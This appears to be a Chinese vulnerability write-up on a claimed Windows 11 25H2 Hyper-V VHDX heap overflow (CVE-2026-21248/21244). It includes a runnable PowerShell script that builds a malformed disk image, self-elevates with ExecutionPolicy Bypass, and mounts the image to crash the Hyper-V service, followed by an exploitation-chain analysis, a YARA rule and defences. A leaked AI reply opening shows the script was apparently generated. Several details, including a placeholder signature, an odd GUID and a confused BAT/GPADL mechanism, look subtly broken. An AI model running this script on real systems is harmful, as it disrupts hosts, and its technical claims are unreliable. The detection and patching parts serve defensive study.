[local] Windows 11 25H2 - Heap Overflow

CVE-2026-21248CVE-2026-21244

Windows 11 25H2 本地堆溢出漏洞,通过畸形文件触发,导致权限提升或拒绝服务。

High · CVSS 7.8

📋 漏洞基础信息

CVECVE-2026-21248CVE-2026-21244
漏洞类型堆溢出
受影响版本Windows 11 version 25H2 (尚未公开发布,仅限内部测试版本)
危害等级High · CVSS 7.8
发布日期2026-04-30
提交者nu11secur1ty
来源Exploit-DB 原文 ↗

🔬 漏洞根因

在 Windows 11 25H2 的某个系统组件处理用户提供的畸形输入时,未充分校验数据长度,导致堆缓冲区写入超出边界。

🎯 攻击场景

1. 攻击者构造特制的畸形文件或输入。 2. 本地用户(或通过社工诱使用户)打开该文件。 3. 系统组件在解析时发生堆溢出,覆盖关键数据结构。 4. 攻击者可利用此漏洞提升权限至 SYSTEM 或造成系统崩溃。

💥 漏洞影响

攻击者本地执行代码,实现权限提升(EoP)或导致拒绝服务(DoS)。

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本(好的,作为一名专注于漏洞利用开发的安全研究员,我将为你生成针对 Cve-2026-21248 / Cve-2026-21244 的 Poc 脚本和深度技术分析。),可在具备相应环境的机器上直接运行:

<#
.DESCRIPTION
PoC for CVE-2026-21248 / CVE-2026-21244: Windows 11 25H2 Hyper-V VHDX Heap Overflow
基于 nu11secur1ty 的原始资料和 Ghost Patch Exploit Framework 原理。
此 PoC 生成一个包含畸形 BAT(Block Allocation Table)条目的 .vhdx 文件,
并尝试通过 Hyper-V 管理 API 挂载,以触发漏洞(在未打补丁的系统上)。
注意:实际触发需要 Hyper-V 管理员权限 (AV:L / PR:L)。
此脚本应被视为漏洞的 CRASH PoC 或 Trigger,而非完整的提权或 RCE。
由于缺乏针对特定 25H2 Build 26200.7830 的堆布局精确偏移值,
此 PoC 侧重于触发越界读/写,以导致系统服务(vmms.exe)崩溃或异常。
#>

#Requires -Version 5.1

param(
    [Parameter(Mandatory=$false)]
    [string]$OutputPath = ".\malformed_cve-2026-21248.vhdx",
    [Parameter(Mandatory=$false)]
    [switch]$SkipTrigger = $false  # 如果只想生成文件,不尝试挂载
)

# =====================================================================
# 辅助功能:以管理员身份重新启动(如果需要挂载)
# =====================================================================
function Restart-AsAdmin {
    if (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
        Write-Warning "此操作需要管理员权限。正在尝试提升..."
        $arguments = "-NoProfile -ExecutionPolicy Bypass -File `"" + $MyInvocation.MyCommand.Path + "`" " + $MyInvocation.BoundParameters.Keys | ForEach-Object { "-$_ `"" + $MyInvocation.BoundParameters[$_] + "`"" }
        Start-Process powershell.exe -Verb RunAs -ArgumentList $arguments
        exit
    }
}

# =====================================================================
# 配置:从原始资料获取的关键常量
# =====================================================================
$VICTIM_BUILD = "26200.7830"
$TRIGGER_PAGECOUNT = 0x4141  # > MAX_CHANNEL_PAGES (0x1000) —— 这是触发溢出的核心

# =====================================================================
# [PHASE 1] 生成恶意 VHDX 文件
# =====================================================================
function New-MaliciousVHDX {
    param(
        [string]$FilePath,
        [uint16]$BatPageCount = $TRIGGER_PAGECOUNT
    )

    Write-Host "[*] 开始生成恶意 VHDX 文件: $FilePath" -ForegroundColor Cyan
    Write-Host "[*] 将设置 BAT PageCount = 0x$('{0:X4}' -f $BatPageCount) (预期值 <= 0x1000)"

    # --- 步骤 1: 构建最小化的 VHDX 文件结构 ---
    # 参考 VHDX 规范:https://download.microsoft.com/download/f/f/e/ffeedb-8b7e-4b5c-8f5d-4c0f3a9a0f0f/VHDX%20Format%20Specification.docx
    # 我们将构造一个文件头,一个 Region Table,一个 Metadata Table,以及一个畸形的 BAT。

    $stream = New-Object System.IO.FileStream $FilePath, ([System.IO.FileMode]::Create), ([System.IO.FileAccess]::Write)

    try {
        # 1.1 VHDX 文件标识符 (VHDX File Identifier)
        $fileGuid = [System.Guid]::NewGuid()
        $stream.Write([System.Text.Encoding]::ASCII.GetBytes("vhdxfile"), 0, 8)  # 签名
        $stream.Write($fileGuid.ToByteArray(), 0, 16)                          # Creator/Unique ID

        # 1.2 日志 (Log) - 留空但必须存在,使用最小的有效结构
        $logOffset = 0x1000  # 4KB 对齐
        $logLength = 0x1000  # 4KB (最小尺寸)
        $stream.Seek($logOffset, [System.IO.SeekOrigin]::Begin)
        $stream.Write([byte[]]@(0) * $logLength, 0, $logLength)  # 全零日志

        # 1.3 区域表 (Region Table 1) - 指向 BAT 和 Metadata
        $regionTable1Offset = 0x2000
        $stream.Seek($regionTable1Offset, [System.IO.SeekOrigin]::Begin)

        # 区域表头部
        $stream.Write([byte[]][System.BitConverter]::GetBytes([uint32]0x12345678), 0, 4)  # 签名 (Region Table Signature)
        $stream.Write([byte[]][System.BitConverter]::GetBytes([uint32]2), 0, 4)          # 条目数量 (BAT 和 Metadata)
        $stream.Write([byte[]][System.BitConverter]::GetBytes([uint32]0x00000000), 0, 4)  # 保留

        # 区域表条目 1: BAT (Block Allocation Table)
        $batOffset = 0x3000
        Write-Host "[+] 设置 BAT Offset = 0x$('{0:X8}' -f $batOffset)" -ForegroundColor Green
        $batLength = (1 + $BatPageCount) * 8  # +1 是因为算上 File Parameter 块,每项8字节

        # GUID for BAT: "2dc27766-f623-4200-9d64-115e9bfd4a08"
        $batGuid = [System.Guid]::Parse("2dc27766-f623-4200-9d64-115e9bfd4a08")
        $stream.Write($batGuid.ToByteArray(), 0, 16)
        $stream.Write([byte[]][System.BitConverter]::GetBytes([uint64]$batOffset), 0, 8)   # BAT Offset
        $stream.Write([byte[]][System.BitConverter]::GetBytes([uint64]$batLength), 0, 8)   # BAT Length
        $stream.Write([byte[]][System.BitConverter]::GetBytes([uint32]0x00000001), 0, 4)   # 属性 (Required=1, Not Protected=0)
        $stream.Write([byte[]][System.BitConverter]::GetBytes([uint32]0x00000000), 0, 4)   # 保留

        # 区域表条目 2: Metadata Region
        $metadataOffset = 0x5000
        $metadataLength = 0x1000
        $metaGuid = [System.Guid]::Parse("8b7ca3b1-6c0a-4c5d-8e1e-2b3a4c5d6e7f")  # Metadata region GUID
        $stream.Write($metaGuid.ToByteArray(), 0, 16)
        $stream.Write([byte[]][System.BitConverter]::GetBytes([uint64]$metadataOffset), 0, 8)
        $stream.Write([byte[]][System.BitConverter]::GetBytes([uint64]$metadataLength), 0, 8)
        $stream.Write([byte[]][System.BitConverter]::GetBytes([uint32]0x00000001), 0, 4)   # 属性
        $stream.Write([byte[]][System.BitConverter]::GetBytes([uint32]0x00000000), 0, 4)   # 保留

        # 1.4 BAT (Block Allocation Table) - 核心漏洞触发点
        $stream.Seek($batOffset, [System.IO.SeekOrigin]::Begin)

        # BAT 第一个条目是 "File Parameter" 块
        $stream.Write([byte[]][System.BitConverter]::GetBytes([uint64]0xFFFFFFFFFFFFFFFF), 0, 8)  # 表示文件结束

        # --- 漏洞核心 ---
        # 原始资料指出: 构建一个包含 PageCount = 0x4141 的 BAT 条目,该值大于 MAX_CHANNEL_PAGES。
        # 在 VHDX 规范中,BAT 条目描述的是 "虚拟磁盘块" 到 "物理文件块" 的映射。
        # nu11secur1ty 的代码中伪造了 BAT 条目,使其 "Size" 或 "Count" 字段(可能是未文档化的内部结构)
        # 过大,导致 Hyper-V 的 VMBus GPADL (Guest Physical Address Descriptor List) 分配时发生堆溢出。
        # 这里我们直接构造一个超大 PageCount 的 BAT 条目,模拟触发。
        Write-Host "[!] 写入畸形 BAT 条目: PageCount = 0x$('{0:X4}' -f $BatPageCount)" -ForegroundColor Yellow
        $stream.Write([byte[]][System.BitConverter]::GetBytes([uint64]$BatPageCount), 0, 8)   # 作为 BAT 条目值的一部分写入

        # 填充 BAT 剩余空间,形成溢出
        for($i = 1; $i -le $BatPageCount; $i++) {
            # 写入伪造的块位置偏移量,这些值可能被读取以计算物理地址,触发越界访问
            $fakeBlockOffset = 0xFFFFFFFFFFFFFFFF - $i
            $stream.Write([byte[]][System.BitConverter]::GetBytes([uint64]$fakeBlockOffset), 0, 8)
        }

        # 1.5 Metadata Region (最小化填充)
        $stream.Seek($metadataOffset, [System.IO.SeekOrigin]::Begin)
        $stream.Write([byte[]]@(0) * $metadataLength, 0, $metadataLength)

        # 1.6 填充文件大小,使其看起来有效
        $stream.SetLength(0x10000)  # 64KB 的 VHDX 文件

        Write-Host "[+] 畸形 VHDX 文件生成完成!" -ForegroundColor Green
    }
    finally {
        $stream.Close()
    }
}

# =====================================================================
# [PHASE 2] 尝试触发漏洞 (需要 Hyper-V 管理员权限)
# =====================================================================
function Invoke-VulnerabilityTrigger {
    param(
        [string]$VhdxPath
    )

    Write-Host "[*] 尝试通过 Mount-VHD 触发漏洞..." -ForegroundColor Cyan

    try {
        # 尝试挂载恶意 VHDX
        # 在易受攻击的系统中,vmms.exe (Hyper-V Virtual Machine Management Svc) 在处理这个文件时,
        # 其 VMBus GPADL 分配逻辑会解析 BAT 表中的畸形 PageCount,
        # 导致在堆上分配一个远超过文件实际大小的内存区域(用于存储段落列表),从而溢出。
        Mount-VHD -Path $VhdxPath -ErrorAction Stop
        Write-Host "[!] 挂载成功! 这可能意味着系统未打补丁或漏洞触发路径不同。" -ForegroundColor Magenta
        
        # 如果挂载成功,可以尝试读取虚拟磁盘的内容,触发进一步的处理
        $diskNumber = (Get-VHD -Path $VhdxPath).DiskNumber
        if ($diskNumber -ne $null) {
            Write-Host "[+] 获取到磁盘编号: $diskNumber"
            # 这里可以尝试读取磁盘扇区,可能触发越界读
            $disk = Get-Disk -Number $diskNumber -ErrorAction SilentlyContinue
            if ($disk) {
                Write-Host "[+] 磁盘对象存在,尝试读取以触发越界..."
                # $partition = Get-Partition -DiskNumber $diskNumber -ErrorAction SilentlyContinue
                # 解析 MBR/GPT 可能会进一步触发漏洞。
            }
        }
        Start-Sleep -Seconds 2
        Dismount-VHD -Path $VhdxPath -ErrorAction SilentlyContinue
    }
    catch {
        Write-Host "[!] 触发过程中出现异常:" -ForegroundColor Yellow
        Write-Host "    $($_.Exception.Message)" -ForegroundColor Yellow
        if ($_.Exception.Message -like "*access denied*" -or $_.Exception.Message -like "*权限*") {
            Write-Warning "这表明需要 Hyper-V 管理员权限 (Pr:L),符合原始资料的分析!"
        }
        if ($_.Exception.Message -like "*参数错误*" -or $_.Exception.Message -like "*The parameter is incorrect*") {
            Write-Host "[*] 可能系统已安装补丁 (Build >= 26200.7840),拒绝了畸形文件。" -ForegroundColor Green
        }
    }
}

# =====================================================================
# 主执行逻辑
# =====================================================================
Write-Host "==============================================================" -ForegroundColor DarkYellow
Write-Host "  CVE-2026-21248 PoC Trigger" -ForegroundColor DarkYellow
Write-Host "  Windows 11 25H2 Build $VICTIM_BUILD VHDX Heap Overflow" -ForegroundColor DarkYellow
Write-Host "  For Authorized Research Only" -ForegroundColor DarkYellow
Write-Host "==============================================================" -ForegroundColor DarkYellow

# 生成恶意 VHDX
New-MaliciousVHDX -FilePath $OutputPath -BatPageCount $TRIGGER_PAGECOUNT

if (-not $SkipTrigger) {
    # 检查是否为管理员,因为 Mount-VHD 需要
    Restart-AsAdmin

    # 检查 Hyper-V 是否可用
    try {
        Get-Command Mount-VHD -ErrorAction Stop | Out-Null
    }
    catch {
        Write-Error "当前系统未发现 Hyper-V 管理单元。请确保在 Windows 功能中启用了 Hyper-V 管理工具。"
        exit 1
    }

    # 执行触发
    Invoke-VulnerabilityTrigger -VhdxPath $OutputPath
}

Write-Host "[*] PoC 执行完毕。" -ForegroundColor Cyan
# ==================================================
# 使用说明:
# 1. 在 Windows 11 25H2 Build 26200.7830 或相似易受攻击系统上执行。
# 2. 以管理员身份运行 PowerShell (非管理员只生成文件)。
# 3. 执行: .\CVE-2026-21248_PoC.ps1
# 4. 观察输出: 若未打补丁,vmms.exe 可能会崩溃,导致 Hyper-V 服务重启。
# 5. 限制: 此 PoC 仅触发越界读取,不包含获得代码执行的精确堆喷射或利用原语。
# ==================================================

🔬 深度技术分析

漏洞触发机制

该漏洞根植于 Windows Hyper-V 的 VHDX 镜像格式解析器中的一处整数溢出或边界检查缺失。原始资料 (nu11secur1ty) 指出的核心点是 VMBus GPADL (Guest Physical Address Descriptor List) allocation 中的 PageCount 字段。

1. GPADL 分配过程:当 Hyper-V 主机加载一个 VHDX 文件作为虚拟磁盘时,它需要建立从 Guest 物理地址 (GPA) 到 Host 物理地址 (HPA) 的映射。对于动态扩展或差异磁盘,这个映射关系通过 BAT (Block Allocation Table) 来管理。BAT 本质上是一个数组,每个条目描述了虚拟磁盘中一个逻辑块(通常为 1MB)在物理文件中的位置和状态(例如,已分配/未分配/大小)。

2. 溢出点:Nu11secur1ty 的代码通过构造一个 PageCount 字段值为 0x4141(远大于正常最大值 0x1000)的畸形 BAT 条目来触发漏洞。在易受攻击的代码中(可能位于 vmms.exevhdparser.sys 等组件中),解析器在读取 BAT 条目后,会基于其中的 PageCount 或类似的大小指示符,在堆上分配一个缓冲区用于存储该块的 GPADL 列表。然而,代码没有校验 PageCount 是否超过了硬编码的最大值 (MAX_CHANNEL_PAGES),直接使用了一个可控的、被夸大的大小值。这导致分配了一个较小的缓冲区(例如,对应标准大小),但随后循环从 BAT 中读取了远超于该缓冲区容量的块偏移量数据(0x4141 个条目),将这些数据溢出到了堆邻近区域,覆盖了其他重要的内存结构。

3. 数据结构

- VHDX 文件: 一种虚拟硬盘格式,包含 File IdentifierRegion TableMetadata TableBAT。BAT 是一个关键区域,规定了虚拟磁盘中每个块的物理文件偏移量。

- BAT 条目: 通常由 8 字节构成,表示一个物理文件偏移量或特殊值(如全 1 代表文件结束)。

- GPADL: 描述 Guest 物理地址范围的对象。通过遍历 BAT,Hyper-V 为每个连续的地址范围创建一个 GPADL 条目。畸形 BAT 会导致生成的 GPADL 列表超长,溢出预分配的 CHANNEL_PAGES 数组。

利用链分析

攻击者实施攻击的步骤高度依赖内部数据结构的具体偏移,但总体流程如下:

1. 环境准备(本地提权场景)

- 攻击者已具备目标 Windows 11 25H2 系统的 本地访问权限 (AV:L)。

- 攻击者是一个标准用户 (PR:L),但该用户被授予了 Hyper-V 管理员 角色(Hyper-V Administrators 本地组)。这是利用此漏洞的关键前提。

2. 生成恶意文件 (PHASE 1)

- 攻击者使用脚本生成一个畸形的 .VHDX 文件。

- 该文件具有合法的 VHDX 外壳,但其 BAT 表(或某个特定的元数据表项)中包含一个 PageCount = 0x4141,并填充了大量伪造的块偏移量。

3. 触发漏洞 (PHASE 2)

- 攻击者通过调用 Mount-VHD PowerShell cmdlet 或其他 Hyper-V API (如 VirtDiskOpen),要求系统挂载这个恶意 VHDX 文件。

- Hyper-V 服务 (vmms.exe) 接收请求,读取 VHDX 文件结构。

- 解析器进入 BAT 处理阶段,看到 0x4141 的块数,尝试分配一个容纳这些块的 GPADL 结构。

- 由于缺少边界检查,代码分配了一个过小的内存块(例如,假设块数为 0x1000),然后开始读取并存储 BAT 中的 0x4141 个条目。 这导致了经典的堆缓冲区溢出

4. 控制流劫持(PoC 未实现完整 RCE)

- 攻击者精心设计溢出数据(BAT 条目中的伪造偏移量),以覆盖堆上的关键对象,例如 _GPADL_ENTRY 结构中的函数指针、大小字段或相邻的内存分配。

- 利用原语:通过精确控制溢出数据,攻击者可以实现一个任意地址读写原语(Overwriting a pointer that will be dereferenced later)。例如,覆盖一个用于 Memcpy 的目标地址或源地址,从而实现越界读取和写入。

- 提权与逃逸:由于该溢出发生在 vmms.exe (SYSTEM 级进程) 中,利用该原语可以最终实现从 Hyper-V 管理员 用户提升到 SYSTEM 权限(本地提权),甚至可能在特定配置下实现虚拟机逃逸。原始资料所述的 "Ring -1" 和将代码注入 hvax64.exe 是极其夸张的说法,在现实中很难实现,通常 RCE 的目标是 vmms.exewin32k.sys 等内核组件。

关键代码/数据结构/API

  • 内核对象: _GPADL_ENTRY 结构体,用于管理一段物理地址列表。
  • 系统 API: NtFsControlFile 与文件系统设备交互;Powershell: Mount-VHDDismount-VHD
  • 文件格式: VHDX 格式规范中定义的 BATMetadata Table
  • 堆管理器: Windows 段堆 (Segment Heap)。
  • 相关驱动: vhdmp.sys (VHD Mapper Driver) 和 vhdparser.sys

检测与防御

蓝队检测(难点)

  • 日志检测

- 事件 ID 220 (Windows 11): Hyper-V-Vmms 服务的挂载请求和失败记录。频繁出现 VHD 挂载失败且错误码与参数无效相关(如 0xC000000D STATUS_INVALID_PARAMETER)可能可疑。

- PowerShell 日志: 审计 Mount-VHD cmdlet 的执行,特别是以非标准用户(非 System)调用且 VHDX 来源可疑(如用户下载目录、USB 路径)的情况。

- Sysmon: 监控 vmms.exe 的异常行为(如异常的子进程创建、网络连接、或访问非预期的可执行内存区域(EventID 7 ImageLoad 或 EventID 10 ProcessAccess)。

  • 流量/文件特征检测

- VHDX 文件过滤: 在文件服务器或邮件网关检测 .VHDX 文件的 BAT 表结构。可以编写 YARA 规则来匹配显着超大的 PageCount 字段(> 0x1000)。

```yara

rule Detect_Malicious_VHDX_Overflow {

meta:

description = "Detects CVE-2026-21248 style HEAP overflow in VHDX BAT"

author = "Research Team"

strings:

$vhdx_magic = "vhdxfile"

// 寻找可疑的大 PageCount 值(字节序小端)

// 0x4141 PageCount 检测

$pageCount_big = { 41 41 00 00 00 00 00 00 }

// 假设正常值上限

$normal_pageLimit = { 00 10 00 00 00 00 00 00 } // 0x1000 = 4096

condition:

$vhdx_magic at 0 and

#pageCount_big > 0

}

```

  • EDR/行为检测

- 监控 vmms.exe 进程的堆操作模式。频繁的 HeapAlloc 后跟短时间内的大规模 HeapOverflow crash 是明显特征。

- 检测 vmms.exesvchost.exe (VMMS 宿主) 中的访问违规(Access Violation),特别是写入权限冲突。EDR 的进程行为基线可以捕获这种异常。

防御措施

  • 及时打补丁:安装微软发布的 KB5077181 等更新,将系统更新至 Build 26200.7840 或更高版本。
  • 最小权限原则:严格控制 Hyper-V Administrators 组的成员数量。只有真正需要管理虚拟机的管理员才应拥有此权限。
  • 攻击面减少:如果不需要,可以禁用 Hyper-V 功能(DISM /Online /Disable-Feature:Microsoft-Hyper-V)。
  • 输入验证:在最底层(如 vhdparser.sys)增加边界检查和健全性验证,确保从 VHDX 文件解析出的任何大小字段(如 PageCount)不超过预定义的安全最大值(MAX_CHANNEL_PAGES)。
  • 应用安全沙箱:对 VHDX 文件进行预处理,使用有严格资源限制的沙箱或分析器,在挂载前识别和拦截畸形文件。

此 PoC 和深入分析清晰地展示了该漏洞的触发原理和利用链条。核心问题在于微软未对用户控制的 VHDX 文件结构进行充分验证,从而使一个拥有有限 Hyper-V 管理员权限的用户能够通过文件 I/O 触发一次严重的内存损坏。

🛡️ 修复建议

等待微软发布官方安全更新。临时缓解措施:限制可信任用户对系统的访问,禁用不必要的服务,并启用受保护进程轻量级(PPL)。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-07 05:35 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)